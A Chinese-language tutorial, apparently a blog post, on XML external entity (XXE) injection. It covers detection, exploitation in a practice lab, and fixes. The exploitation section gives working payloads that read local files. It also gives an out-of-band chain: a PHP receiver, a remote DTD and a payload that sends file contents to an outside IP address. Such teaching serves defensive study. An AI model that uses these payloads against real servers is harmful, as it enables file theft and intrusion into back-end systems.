Web攻防--xxe实体注入
web攻防--xxe实体注入
漏洞简介
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
在某些情况下,攻击者可以利用 XXE 漏洞联合执行服务器端请求伪造(SSRF) 攻击,从而提高 XXE 攻击等级以破坏底层服务器或其他后端基础设施。
XML简介
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网扫描、攻击内网等危害
XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而XML旨在传输存储信息。
Example:网站的xml文件解析
- XML语法参考如下文章
CTF XXE
从XML相关一步一步到XXE漏洞
漏洞发现
黑盒发现
- 获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
- 不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
- XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
白盒发现
- 可通过应用功能追踪代码定位审计
- 可通过脚本特定函数搜索定位审计
- 可通过伪协议玩法绕过相关修复等
漏洞利用
通过搭建github上托管得xxe靶场进行复现xxe-lab
搭建效果如图

回显利用
抓包发现使用xml格式进行传输数据

直接构造payload进行尝试读取文件
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY test SYSTEM "file:///c:/1.txt">
]>
<user><username>&test;</username><password>pass</password></user>
成功读取文件内容

file:/// #file协议读取文件
http://url/file.txt #http协议读取站点下的文件
PHP://filter #文件流形式读取php文件
无回显利用(oob)
将靶场中得回显语句注释掉即可得到无回显环境

无回显测试首先进行带外测试,查看XXE语句是否可以进行解析。
payload
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://g575cg.dnslog.cn">
%file;
]>
<user><username>admin</username><password>1234</password></user>
测试返回结果报错了,查看该网址是否有访问记录

目标成功解析xml语句,并进行了访问

构造payload尝试进行读取文件
payload分为三部分
get.php放在用于接收数据得服务器上用于接受数据并保存为文件
<?php
$data=$_GET['file'];
$myfile=fopen("file.txt","w");
fwrite($myfile,$data);
fclose($myfile);
?>
test.dtd用于将读取到得数据赋值给get.php
<!ENTITY % all "<!ENTITY send SYSTEM 'http://101.200.161.174/get.php?file=%file;'>">
payload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/1.txt"> #读取文件
<!ENTITY % remote SYSTEM "http://101.200.161.174/test.dtd"> #加载dtd文件
%remote;
%all;
]>
<root>&send;</root> #触发test.dtd中的元素
在进行文件读取的时候,有些文件中带有空格,这样的话在将数据赋值给get.php文件时,get方法传参会将数据错误识别,这时候可以使用php://filter协议使用base64编码以数据流得形式读取文件。
漏洞修复
修复防御方案:
禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
扩展参考
以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。
Web攻防--xxe实体注入的更多相关文章
- XXE攻防——XML外部实体注入
XXE攻防——XML外部实体注入 转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的 ...
- 应用安全-XXE(XML外部实体注入)攻防整理
libxml2..1及以后,默认不解析外部实体.测试的时候window下使用php5.(libxml Version ), php5.(libxml Version ).Linux中需要将libxml ...
- XXE(XML External Entity attack)XML外部实体注入攻击
导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...
- XML外部实体注入漏洞(XXE)
转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...
- XML外部实体(XXE)注入详解
###XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Ex ...
- XXE外部实体注入漏洞——PHP
前言 XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题. 在XML1.0标准 ...
- CTF中关于XXE(XML外部实体注入)题目两道
题目:UNCTF-Do you like xml? 链接:http://112.74.37.15:8008/ hint:weak password (弱密码) 1.观察后下载图片拖进WINHEX发现提 ...
- 【XXE学习】XML外部实体注入
一.XML外部实体注入介绍 1.1 XXE简介 XML外部实体注入(XML External Entity Injection)也就是人们(mian shi guan )常说的XXE啦,见名知意,就是 ...
- [Web安全] XXE漏洞攻防学习(上)
0x00.XXE漏洞 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶 ...
- XXE(xml外部实体注入漏洞)
实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...
随机推荐
- 2022-04-04:k8s中kubectl源码用到了哪些设计模式?除了工厂和单例。
2022-04-04:k8s中kubectl源码用到了哪些设计模式?除了工厂和单例. 答案2022-04-04: 1.建造者模式.resource.Builder.D:\go_path\src\git ...
- 2021-10-28:打家劫舍 II。你是一个专业的小偷,计划偷窃沿街的房屋,每间房内都藏有一定的现金。这个地方所有的房屋都 围成一圈 ,这意味着第一个房屋和最后一个房屋是紧挨着的。同时,相邻的房屋装
2021-10-28:打家劫舍 II.你是一个专业的小偷,计划偷窃沿街的房屋,每间房内都藏有一定的现金.这个地方所有的房屋都 围成一圈 ,这意味着第一个房屋和最后一个房屋是紧挨着的.同时,相邻的房屋装 ...
- Django4全栈进阶之路9 STATIC静态文件路径设置、MEDIA媒体文件路径设置
在 Django 4 中,可以在 settings.py 文件中设置 STATICFILES_DIRS 来指定应用程序静态文件所在的文件夹路径,设置 STATIC_ROOT 来指定收集所有应用程序静态 ...
- cnpm : 无法加载文件 D:\nodejs\node_global\cnpm.ps1,因为在此系统上禁止运行 脚本。
错误信息: cnpm : 无法加载文件 D:\nodejs\node_global\cnpm.ps1,因为在此系统上禁止运行 脚本.有关详细信息,请参阅 https:/go.microsoft.com ...
- 中文环境下使用 huggingface 模型替换 OpenAI的Embedding 接口
OpenAI的文本嵌入衡量文本字符串的相关性.嵌入通常用于: 搜索(其中结果按与查询字符串的相关性排名) 聚类(其中文本字符串按相似性分组) 推荐(推荐具有相关文本字符串的项目) 异常检测(识别出相关 ...
- 【python基础】编写/运行hello world项目
1.编写hello world项目 编程界每种语言的第一个程序往往都是输出hello world.因此我们来看看,如何用Python输出hello world. 1.如果你是初学者,main.py中的 ...
- docker升级gitlab
昨天在家部署了gitlab,版本居然是15.10,公司版本却是14.6,升级一波. 官方文档: https://docs.gitlab.com/ee/update/#upgrading-without ...
- QQ 邮箱设置自定义域名邮箱
编者有话说 这篇文章来源于2019年12月左右,我在配置 Galaxy 生信分析平台的邮件服务过程中的一个尝试,我最早把它记录在了语雀上面,但由于某些原因一直迟迟没有更新到生信科技爱好者的公众号.直至 ...
- 7.1 套接字(socket)
套接字(socket)是计算机之间进行通信的一种技术,它允许不同主机上的进程之间进行数据交换.在Python中,我们可以使用socket模块来创建和使用套接字. 首先,我们需要导入socket模块: ...
- Python modbus_tk 库源码分析
modbus_tk 源代码分析 前言 modbus_tcp 协议是工业项目中常见的一种基于 TCP/IP 协议的设备数据交互协议. 作为 TCP/IP 协议的上层协议,modbus_tcp 协议涉及到 ...